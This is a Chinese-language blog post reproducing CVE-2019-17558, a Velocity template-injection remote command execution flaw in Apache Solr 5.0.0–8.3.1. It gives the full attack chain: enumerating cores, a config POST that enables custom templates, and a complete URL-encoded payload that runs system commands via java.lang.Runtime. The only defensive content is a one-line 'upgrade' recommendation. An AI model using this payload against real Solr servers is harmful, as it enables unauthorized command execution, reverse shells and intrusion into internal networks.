Apache Solr Velocity注入远程命令执行(CVE-2019-17558)

漏洞描述:

Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。

2019年10月30日,国外安全研究人员放出了一个关于solr模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启params.resource.loader.enabled,然后通过get请求访问接口导致服务器命令执行。

该漏洞存在于5.0.0 到 8.3.1版本中。

复现过程:

1.访问http://ip:port,出现如下页面,开始实验

2.默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心

http://ip:port/solr/admin/cores?indexInfo=false&wt=json

3.通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称

POST /solr/demo/config HTTP/1.1

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

4.执行id命令

http://ip:port/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

借此漏洞,攻击者可以继承Web服务程序的权限去执行系统命令(任意代码)或读写文件;反弹shell;控制整个网站甚至控制服务器进一步内网渗透。

修复建议:

  1. 升级版本。

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值